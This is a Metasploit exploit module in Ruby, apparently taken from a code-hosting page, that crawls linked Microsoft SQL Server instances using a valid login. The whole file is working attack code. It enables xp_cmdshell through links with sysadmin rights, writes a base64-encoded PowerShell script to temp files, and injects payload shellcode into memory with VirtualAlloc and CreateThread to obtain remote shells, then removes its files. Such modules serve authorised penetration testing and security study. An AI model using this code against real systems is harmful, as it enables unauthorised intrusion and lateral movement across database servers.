552 lines
24 KiB
Ruby
552 lines
24 KiB
Ruby
##
|
|
# This module requires Metasploit: http://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
|
|
require 'msf/core'
|
|
require 'msf/core/exploit/mssql_commands'
|
|
|
|
class MetasploitModule < Msf::Exploit::Remote
|
|
Rank = GreatRanking
|
|
|
|
include Msf::Exploit::Remote::MSSQL
|
|
include Msf::Auxiliary::Report
|
|
include Msf::Exploit::CmdStager
|
|
|
|
def initialize(info = {})
|
|
super(update_info(info,
|
|
'Name' => 'Microsoft SQL Server Database Link Crawling Command Execution',
|
|
'Description' => %q{
|
|
This module can be used to crawl MS SQL Server database links and deploy
|
|
Metasploit payloads through links configured with sysadmin privileges using a
|
|
valid SQL Server Login.
|
|
|
|
If you are attempting to obtain multiple reverse shells using this module we
|
|
recommend setting the "DisablePayloadHandler" advanced option to "true", and setting
|
|
up a exploit/multi/handler to run in the background as a job to support multiple incoming
|
|
shells.
|
|
|
|
If you are interested in deploying payloads to spefic servers this module also
|
|
supports that functionality via the "DEPLOYLIST" option.
|
|
|
|
Currently, the module is capable of delivering payloads to both 32bit and 64bit
|
|
Windows systems via powershell memory injection methods based on Matthew Graeber's
|
|
work. As a result, the target server must have powershell installed. By default,
|
|
all of the crawl information is saved to a CSV formatted log file and MSF loot so
|
|
that the tool can also be used for auditing without deploying payloads.
|
|
},
|
|
'Author' =>
|
|
[
|
|
'Antti Rantasaari <antti.rantasaari[at]netspi.com>',
|
|
'Scott Sutherland "nullbind" <scott.sutherland[at]netspi.com>'
|
|
],
|
|
'Platform' => [ 'win' ],
|
|
'Arch' => [ ARCH_X86, ARCH_X64 ],
|
|
'License' => MSF_LICENSE,
|
|
'References' =>
|
|
[
|
|
['URL', 'http://www.slideshare.net/nullbind/sql-server-exploitation-escalation-pilfering-appsec-usa-2012'],
|
|
['URL','http://msdn.microsoft.com/en-us/library/ms188279.aspx'],
|
|
['URL','http://www.exploit-monday.com/2011_10_16_archive.html']
|
|
],
|
|
'DisclosureDate' => 'Jan 1 2000',
|
|
'Targets' =>
|
|
[
|
|
[ 'Automatic', { } ],
|
|
],
|
|
'CmdStagerFlavor' => 'vbs',
|
|
'DefaultTarget' => 0
|
|
))
|
|
|
|
register_options(
|
|
[
|
|
OptBool.new('DEPLOY', [false, 'Deploy payload via the sysadmin links', false]),
|
|
OptString.new('DEPLOYLIST', [false,'Comma seperated list of systems to deploy to']),
|
|
OptString.new('PASSWORD', [true, 'The password for the specified username'])
|
|
], self.class)
|
|
|
|
register_advanced_options(
|
|
[
|
|
OptString.new('POWERSHELL_PATH', [true, 'Path to powershell.exe', "C:\\windows\\syswow64\\WindowsPowerShell\\v1.0\\powershell.exe"])
|
|
], self.class)
|
|
end
|
|
|
|
def exploit
|
|
# Display start time
|
|
time1 = Time.new
|
|
print_status("-------------------------------------------------")
|
|
print_status("Start time : #{time1.inspect}")
|
|
print_status("-------------------------------------------------")
|
|
|
|
# Check if credentials are correct
|
|
print_status("Attempting to connect to SQL Server at #{rhost}:#{rport}...")
|
|
|
|
if !mssql_login_datastore
|
|
print_error("Invalid SQL Server credentials")
|
|
print_status("-------------------------------------------------")
|
|
return
|
|
end
|
|
|
|
# Define master array to keep track of enumerated database information
|
|
masterList = Array.new
|
|
masterList[0] = Hash.new # Define new hash
|
|
masterList[0]["name"] = "" # Name of the current database server
|
|
masterList[0]["db_link"] = "" # Name of the linked database server
|
|
masterList[0]["db_user"] = "" # User configured on the database server link
|
|
masterList[0]["db_sysadmin"] = "" # Specifies if the database user configured for the link has sysadmin privileges
|
|
masterList[0]["db_version"] = "" # Database version of the linked database server
|
|
masterList[0]["db_os"] = "" # OS of the linked database server
|
|
masterList[0]["path"] = [[]] # Link path used during crawl - all possible link paths stored
|
|
masterList[0]["done"] = 0 # Used to determine if linked need to be crawled
|
|
|
|
shelled = Array.new # keeping track of shelled systems - multiple incoming sa links could result in multiple shells on one system
|
|
|
|
# Setup query for gathering information from database servers
|
|
versionQuery = "select @@servername,system_user,is_srvrolemember('sysadmin'),(REPLACE(REPLACE(REPLACE\
|
|
(ltrim((select REPLACE((Left(@@Version,CHARINDEX('-',@@version)-1)),'Microsoft','')+ rtrim(CONVERT\
|
|
(char(30), SERVERPROPERTY('Edition'))) +' '+ RTRIM(CONVERT(char(20), SERVERPROPERTY('ProductLevel')))+\
|
|
CHAR(10))), CHAR(10), ''), CHAR(13), ''), CHAR(9), '')) as version, RIGHT(@@version, LEN(@@version)- 3 \
|
|
-charindex (' ON ',@@VERSION)) as osver,is_srvrolemember('sysadmin'),(select count(srvname) from \
|
|
master..sysservers where dataaccess=1 and srvname!=@@servername and srvproduct = 'SQL Server')as linkcount"
|
|
|
|
# Create loot table to store configuration information from crawled database server links
|
|
linked_server_table = Rex::Text::Table.new(
|
|
'Header' => 'Linked Server Table',
|
|
'Indent' => 1,
|
|
'Columns' => ['db_server', 'db_version', 'db_os', 'link_server', 'link_user', 'link_privilege', 'link_version', 'link_os','link_state']
|
|
)
|
|
save_loot = ""
|
|
|
|
# Start crawling through linked database servers
|
|
while masterList.any? {|f| f["done"] == 0}
|
|
# Find the first DB server that has not been crawled (not marked as done)
|
|
server = masterList.detect {|f| f["done"] == 0}
|
|
|
|
# Get configuration information from the database server
|
|
sql = query_builder(server["path"].first,"",0,versionQuery)
|
|
result = mssql_query(sql, false) if mssql_login_datastore
|
|
parse_results = result[:rows]
|
|
parse_results.each { |s|
|
|
server["name"] = s[0]
|
|
server["db_user"] = s[1]
|
|
server["db_sysadmin"] = s[5]
|
|
server["db_version"] = s[3]
|
|
server["db_os"] = s[4]
|
|
server["numlinks"] = s[6]
|
|
}
|
|
if masterList.length == 1
|
|
print_good("Successfully connected to #{server["name"]}")
|
|
if datastore['VERBOSE']
|
|
show_configs(server["name"],parse_results,true)
|
|
elsif server["db_sysadmin"] == 1
|
|
print_good("Sysadmin on #{server["name"]}")
|
|
end
|
|
end
|
|
if server["db_sysadmin"] == 1
|
|
enable_xp_cmdshell(server["path"].first,server["name"],shelled)
|
|
end
|
|
|
|
# If links were found, determine if they can be connected to and add to crawl list
|
|
if (server["numlinks"] > 0)
|
|
# Enable loot
|
|
save_loot = "yes"
|
|
|
|
# Select a list of the linked database servers that exist on the current database server
|
|
print_status("")
|
|
print_status("-------------------------------------------------")
|
|
print_status("Crawling links on #{server["name"]}...")
|
|
# Display number db server links
|
|
print_status("Links found: #{server["numlinks"]}")
|
|
print_status("-------------------------------------------------")
|
|
execute = "select srvname from master..sysservers where dataaccess=1 and srvname!=@@servername and srvproduct = 'SQL Server'"
|
|
sql = query_builder(server["path"].first,"",0,execute)
|
|
result = mssql_query(sql, false) if mssql_login_datastore
|
|
|
|
result[:rows].each {|name|
|
|
name.each {|name|
|
|
|
|
# Check if link works and if sysadmin permissions - temp array to save orig server[path]
|
|
temppath = Array.new
|
|
temppath = server["path"].first.dup
|
|
temppath << name
|
|
|
|
# Get configuration information from the linked server
|
|
sql = query_builder(temppath,"",0,versionQuery)
|
|
result = mssql_query(sql, false) if mssql_login_datastore
|
|
|
|
# Add newly aquired db servers to the masterlist, but don't add them if the link is broken or already exists
|
|
if result[:errors].empty? and result[:rows] != nil then
|
|
# Assign db query results to variables for hash
|
|
parse_results = result[:rows]
|
|
|
|
# Add link server information to loot
|
|
link_status = 'up'
|
|
write_to_report(name,server,parse_results,linked_server_table,link_status)
|
|
|
|
# Display link server information in verbose mode
|
|
if datastore['VERBOSE']
|
|
show_configs(name,parse_results)
|
|
print_status(" o Link path: #{masterList.first["name"]} -> #{temppath.join(" -> ")}")
|
|
else
|
|
if parse_results[0][5] == 1
|
|
print_good("Link path: #{masterList.first["name"]} -> #{temppath.join(" -> ")} (Sysadmin!)")
|
|
else
|
|
print_status("Link path: #{masterList.first["name"]} -> #{temppath.join(" -> ")}")
|
|
end
|
|
end
|
|
|
|
# Add link to masterlist hash
|
|
unless masterList.any? {|f| f["name"] == name}
|
|
masterList << add_host(name,server["path"].first,parse_results)
|
|
else
|
|
(0..masterList.length-1).each do |x|
|
|
if masterList[x]["name"] == name
|
|
masterList[x]["path"] << server["path"].first.dup
|
|
masterList[x]["path"].last << name
|
|
unless shelled.include?(name)
|
|
if parse_results[0][2]==1
|
|
enable_xp_cmdshell(masterList[x]["path"].last.dup,name,shelled)
|
|
end
|
|
end
|
|
else
|
|
break
|
|
end
|
|
end
|
|
end
|
|
else
|
|
# Add to report
|
|
linked_server_table << [server["name"],server["db_version"],server["db_os"],name,'NA','NA','NA','NA','Connection Failed']
|
|
|
|
# Display status to user
|
|
if datastore['VERBOSE']
|
|
print_status(" ")
|
|
print_error("Linked Server: #{name} ")
|
|
print_error(" o Link Path: #{masterList.first["name"]} -> #{temppath.join(" -> ")} - Connection Failed")
|
|
print_status(" Failure could be due to:")
|
|
print_status(" - A dead server")
|
|
print_status(" - Bad credentials")
|
|
print_status(" - Nested open queries through SQL 2000")
|
|
else
|
|
print_error("Link Path: #{masterList.first["name"]} -> #{temppath.join(" -> ")} - Connection Failed")
|
|
end
|
|
end
|
|
}
|
|
}
|
|
end
|
|
# Set server to "crawled"
|
|
server["done"]=1
|
|
end
|
|
|
|
print_status("-------------------------------------------------")
|
|
|
|
# Setup table for loot
|
|
this_service = nil
|
|
if framework.db and framework.db.active
|
|
this_service = report_service(
|
|
:host => rhost,
|
|
:port => rport,
|
|
:name => 'mssql',
|
|
:proto => 'tcp'
|
|
)
|
|
end
|
|
|
|
# Display end time
|
|
time1 = Time.new
|
|
print_status("End time : #{time1.inspect}")
|
|
print_status("-------------------------------------------------")
|
|
|
|
# Write log to loot / file
|
|
if (save_loot=="yes")
|
|
filename= "#{datastore['RHOST']}-#{datastore['RPORT']}_linked_servers.csv"
|
|
path = store_loot("crawled_links", "text/plain", datastore['RHOST'], linked_server_table.to_csv, filename, "Linked servers",this_service)
|
|
print_status("Results have been saved to: #{path}")
|
|
end
|
|
end
|
|
|
|
# ---------------------------------------------------------------------
|
|
# Method that builds nested openquery statements using during crawling
|
|
# ---------------------------------------------------------------------
|
|
def query_builder(path,sql,ticks,execute)
|
|
|
|
# Temp used to maintain the original masterList[x]["path"]
|
|
temp = Array.new
|
|
path.each {|i| temp << i}
|
|
|
|
# Actual query - defined when the function originally called - ticks multiplied
|
|
if path.length == 0
|
|
return execute.gsub("'","'"*2**ticks)
|
|
|
|
# openquery generator
|
|
else
|
|
sql = "select * from openquery(\"" + temp.shift + "\"," + "'"*2**ticks + query_builder(temp,sql,ticks+1,execute) + "'"*2**ticks + ")"
|
|
return sql
|
|
end
|
|
end
|
|
|
|
# ---------------------------------------------------------------------
|
|
# Method that builds nested openquery statements using during crawling
|
|
# ---------------------------------------------------------------------
|
|
def query_builder_rpc(path,sql,ticks,execute)
|
|
|
|
# Temp used to maintain the original masterList[x]["path"]
|
|
temp = Array.new
|
|
path.each {|i| temp << i}
|
|
|
|
# Actual query - defined when the function originally called - ticks multiplied
|
|
if path.length == 0
|
|
return execute.gsub("'","'"*2**ticks)
|
|
|
|
# Openquery generator
|
|
else
|
|
exec_at = temp.shift
|
|
quotes = "'"*2**ticks
|
|
sql = "exec(#{quotes}#{query_builder_rpc(temp, sql,ticks + 1, execute)}#{quotes}) at [#{exec_at}]"
|
|
return sql
|
|
end
|
|
end
|
|
|
|
# ---------------------------------------------------------------------
|
|
# Method for adding new linked database servers to the crawl list
|
|
# ---------------------------------------------------------------------
|
|
def add_host(name,path,parse_results)
|
|
|
|
# Used to add new servers to masterList
|
|
server = Hash.new
|
|
server["name"] = name
|
|
temppath = Array.new
|
|
path.each {|i| temppath << i }
|
|
server["path"] = [temppath]
|
|
server["path"].first << name
|
|
server["done"] = 0
|
|
parse_results.each {|stuff|
|
|
server["db_user"] = stuff.at(1)
|
|
server["db_sysadmin"] = stuff.at(2)
|
|
server["db_version"] = stuff.at(3)
|
|
server["db_os"] = stuff.at(4)
|
|
server["numlinks"] = stuff.at(6)
|
|
}
|
|
return server
|
|
end
|
|
|
|
# ---------------------------------------------------------------------
|
|
# Method to display configuration information
|
|
# ---------------------------------------------------------------------
|
|
def show_configs(i,parse_results,entry=false)
|
|
|
|
print_status(" ")
|
|
parse_results.each {|stuff|
|
|
|
|
# Translate syadmin code
|
|
status = stuff.at(5)
|
|
if status == 1 then
|
|
dbpriv = "sysadmin"
|
|
else
|
|
dbpriv = "user"
|
|
end
|
|
|
|
# Display database link information
|
|
if entry == false
|
|
print_status("Linked Server: #{i}")
|
|
print_status(" o Link user: #{stuff.at(1)}")
|
|
print_status(" o Link privs: #{dbpriv}")
|
|
print_status(" o Link version: #{stuff.at(3)}")
|
|
print_status(" o Link OS: #{stuff.at(4).strip}")
|
|
print_status(" o Links on server: #{stuff.at(6)}")
|
|
else
|
|
print_status("Server: #{i}")
|
|
print_status(" o Server user: #{stuff.at(1)}")
|
|
print_status(" o Server privs: #{dbpriv}")
|
|
print_status(" o Server version: #{stuff.at(3)}")
|
|
print_status(" o Server OS: #{stuff.at(4).strip}")
|
|
print_status(" o Server on server: #{stuff.at(6)}")
|
|
end
|
|
}
|
|
end
|
|
|
|
# ---------------------------------------------------------------------
|
|
# Method for generating the report and loot
|
|
# ---------------------------------------------------------------------
|
|
def write_to_report(i,server,parse_results,linked_server_table,link_status)
|
|
parse_results.each {|stuff|
|
|
# Parse server information
|
|
db_link_user = stuff.at(1)
|
|
db_link_sysadmin = stuff.at(2)
|
|
db_link_version = stuff.at(3)
|
|
db_link_os = stuff.at(4)
|
|
|
|
# Add link server to the reporting array and set link_status to 'up'
|
|
linked_server_table << [server["name"],server["db_version"],server["db_os"],i,db_link_user,db_link_sysadmin,db_link_version,db_link_os,link_status]
|
|
|
|
return linked_server_table
|
|
}
|
|
end
|
|
|
|
# ---------------------------------------------------------------------
|
|
# Method for enabling xp_cmdshell
|
|
# ---------------------------------------------------------------------
|
|
def enable_xp_cmdshell(path,name,shelled)
|
|
# Enables "show advanced options" and xp_cmdshell if needed and possible
|
|
# They cannot be enabled in user transactions (i.e. via openquery)
|
|
# Only enabled if RPC_Out is enabled for linked server
|
|
# All changes are reverted after payload delivery and execution
|
|
|
|
# Check if "show advanced options" is enabled
|
|
execute = "select cast(value_in_use as int) FROM sys.configurations WHERE name = 'show advanced options'"
|
|
sql = query_builder(path,"",0,execute)
|
|
result = mssql_query(sql, false) if mssql_login_datastore
|
|
saoOrig = result[:rows].pop.pop
|
|
|
|
# Check if "xp_cmdshell" is enabled
|
|
execute = "select cast(value_in_use as int) FROM sys.configurations WHERE name = 'xp_cmdshell'"
|
|
sql = query_builder(path,"",0,execute)
|
|
result = mssql_query(sql, false) if mssql_login_datastore
|
|
xpcmdOrig = result[:rows].pop.pop
|
|
|
|
# Try blindly to enable "xp_cmdshell" on the linked server
|
|
# Note:
|
|
# This only works if rpcout is enabled for all links in the link path.
|
|
# If that is not the case it fails cleanly.
|
|
if xpcmdOrig == 0
|
|
if saoOrig == 0
|
|
# Enabling show advanced options and xp_cmdshell
|
|
execute = "sp_configure 'show advanced options',1;reconfigure"
|
|
sql = query_builder_rpc(path,"",0,execute)
|
|
result = mssql_query(sql, false) if mssql_login_datastore
|
|
end
|
|
|
|
# Enabling xp_cmdshell
|
|
print_status("\t - xp_cmdshell is not enabled on " + name + "... Trying to enable")
|
|
execute = "sp_configure 'xp_cmdshell',1;reconfigure"
|
|
sql = query_builder_rpc(path,"",0,execute)
|
|
result = mssql_query(sql, false) if mssql_login_datastore
|
|
end
|
|
|
|
# Verifying that xp_cmdshell is now enabled (could be unsuccessful due to server policies, total removal etc.)
|
|
execute = "select cast(value_in_use as int) FROM sys.configurations WHERE name = 'xp_cmdshell'"
|
|
sql = query_builder(path,"",0,execute)
|
|
result = mssql_query(sql, false) if mssql_login_datastore
|
|
xpcmdNow = result[:rows].pop.pop
|
|
|
|
if xpcmdNow == 1 or xpcmdOrig == 1
|
|
print_status("\t - Enabled xp_cmdshell on " + name) if xpcmdOrig == 0
|
|
if datastore['DEPLOY']
|
|
print_status("Ready to deploy a payload #{name}")
|
|
if datastore['DEPLOYLIST']==""
|
|
datastore['DEPLOYLIST'] = nil
|
|
end
|
|
if !datastore['DEPLOYLIST'].nil? && datastore["VERBOSE"]
|
|
print_status("\t - Checking if #{name} is on the deploy list...")
|
|
end
|
|
if datastore['DEPLOYLIST'] != nil
|
|
deploylist = datastore['DEPLOYLIST'].upcase.split(',')
|
|
end
|
|
if datastore['DEPLOYLIST'] == nil or deploylist.include? name.upcase
|
|
if !datastore['DEPLOYLIST'].nil? && datastore["VERBOSE"]
|
|
print_status("\t - #{name} is on the deploy list.")
|
|
end
|
|
unless shelled.include?(name)
|
|
powershell_upload_exec(path)
|
|
shelled << name
|
|
else
|
|
print_status("Payload already deployed on #{name}")
|
|
end
|
|
elsif !datastore['DEPLOYLIST'].nil? && datastore["VERBOSE"]
|
|
print_status("\t - #{name} is not on the deploy list")
|
|
end
|
|
end
|
|
else
|
|
print_error("\t - Unable to enable xp_cmdshell on " + name)
|
|
end
|
|
|
|
# Revert soa and xp_cmdshell to original state
|
|
if xpcmdOrig == 0 and xpcmdNow == 1
|
|
print_status("\t - Disabling xp_cmdshell on " + name)
|
|
execute = "sp_configure 'xp_cmdshell',0;reconfigure"
|
|
sql = query_builder_rpc(path,"",0,execute)
|
|
result = mssql_query(sql, false) if mssql_login_datastore
|
|
end
|
|
if saoOrig == 0 and xpcmdNow == 1
|
|
execute = "sp_configure 'show advanced options',0;reconfigure"
|
|
sql = query_builder_rpc(path,"",0,execute)
|
|
result = mssql_query(sql, false) if mssql_login_datastore
|
|
end
|
|
end
|
|
|
|
# ----------------------------------------------------------------------
|
|
# Method that delivers shellcode payload via powershell thread injection
|
|
# ----------------------------------------------------------------------
|
|
def powershell_upload_exec(path)
|
|
|
|
# Create powershell script that will inject shell code from the selected payload
|
|
myscript ="$code = @\"
|
|
[DllImport(\"kernel32.dll\")]
|
|
public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
|
|
[DllImport(\"kernel32.dll\")]
|
|
public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
|
|
[DllImport(\"msvcrt.dll\")]
|
|
public static extern IntPtr memset(IntPtr dest, uint src, uint count);
|
|
\"@
|
|
$winFunc = Add-Type -memberDefinition $code -Name \"Win32\" -namespace Win32Functions -passthru
|
|
[Byte[]]$sc =#{Rex::Text.to_hex(payload.encoded).gsub('\\',',0').sub(',','')}
|
|
$size = 0x1000
|
|
if ($sc.Length -gt 0x1000) {$size = $sc.Length}
|
|
$x=$winFunc::VirtualAlloc(0,0x1000,$size,0x40)
|
|
for ($i=0;$i -le ($sc.Length-1);$i++) {$winFunc::memset([IntPtr]($x.ToInt32()+$i), $sc[$i], 1)}
|
|
$winFunc::CreateThread(0,0,$x,0,0,0)"
|
|
|
|
# Unicode encode powershell script
|
|
mytext_uni = Rex::Text.to_unicode(myscript)
|
|
|
|
# Base64 encode unicode
|
|
mytext_64 = Rex::Text.encode_base64(mytext_uni)
|
|
|
|
# Generate random file names
|
|
rand_filename = rand_text_alpha(8)
|
|
var_duplicates = rand_text_alpha(8)
|
|
|
|
# Write base64 encoded powershell payload to temp file
|
|
# This is written 2500 characters at a time due to xp_cmdshell ruby function limitations
|
|
# Also, line number tracking was added so that duplication lines caused by nested linked
|
|
# queries could be found and removed.
|
|
print_status("Deploying payload...")
|
|
linenum = 0
|
|
mytext_64.scan(/.{1,2500}/).each {|part|
|
|
execute = "select 1; EXEC master..xp_cmdshell 'powershell -C \"Write \"--#{linenum}--#{part}\" >> %TEMP%\\#{rand_filename}\"'"
|
|
sql = query_builder(path,"",0,execute)
|
|
result = mssql_query(sql, false) if mssql_login_datastore
|
|
linenum = linenum+1
|
|
}
|
|
|
|
# Remove duplicate lines from temp file and write to new file
|
|
execute = "select 1;exec master..xp_cmdshell 'powershell -C \"gc %TEMP%\\#{rand_filename}| get-unique > %TEMP%\\#{var_duplicates}\"'"
|
|
sql = query_builder(path,"",0,execute)
|
|
result = mssql_query(sql, false) if mssql_login_datastore
|
|
|
|
# Remove tracking tags from lines
|
|
execute = "select 1;exec master..xp_cmdshell 'powershell -C \"gc %TEMP%\\#{var_duplicates} | Foreach-Object {$_ -replace \\\"--.*--\\\",\\\"\\\"} | Set-Content %TEMP%\\#{rand_filename}\"'"
|
|
sql = query_builder(path,"",0,execute)
|
|
result = mssql_query(sql, false) if mssql_login_datastore
|
|
|
|
# Used base64 encoded powershell command so that we could use -noexit and avoid parsing errors
|
|
# If running on 64bit system, 32bit powershell called from syswow64
|
|
powershell_cmd = "$temppath=(gci env:temp).value;$dacode=(gc $temppath\\#{rand_filename}) -join '';if((gci env:processor_identifier).value -like\
|
|
'*64*'){$psbits=\"#{datastore['POWERSHELL_PATH']} -noexit -noprofile -encodedCommand $dacode\"} else {$psbits=\"powershell.exe\
|
|
-noexit -noprofile -encodedCommand $dacode\"};iex $psbits"
|
|
powershell_uni = Rex::Text.to_unicode(powershell_cmd)
|
|
powershell_64 = Rex::Text.encode_base64(powershell_uni)
|
|
|
|
# Setup query
|
|
execute = "select 1; EXEC master..xp_cmdshell 'powershell -EncodedCommand #{powershell_64}'"
|
|
sql = query_builder(path,"",0,execute)
|
|
|
|
# Execute the playload
|
|
print_status("Executing payload...")
|
|
result = mssql_query(sql, false) if mssql_login_datastore
|
|
# Remove payload data from the target server
|
|
execute = "select 1; EXEC master..xp_cmdshell 'powershell -C \"Remove-Item %TEMP%\\#{rand_filename}\";powershell -C \"Remove-Item %TEMP%\\#{var_duplicates}\"'"
|
|
sql = query_builder(path,"",0,execute)
|
|
result = mssql_query(sql,false)
|
|
end
|
|
end
|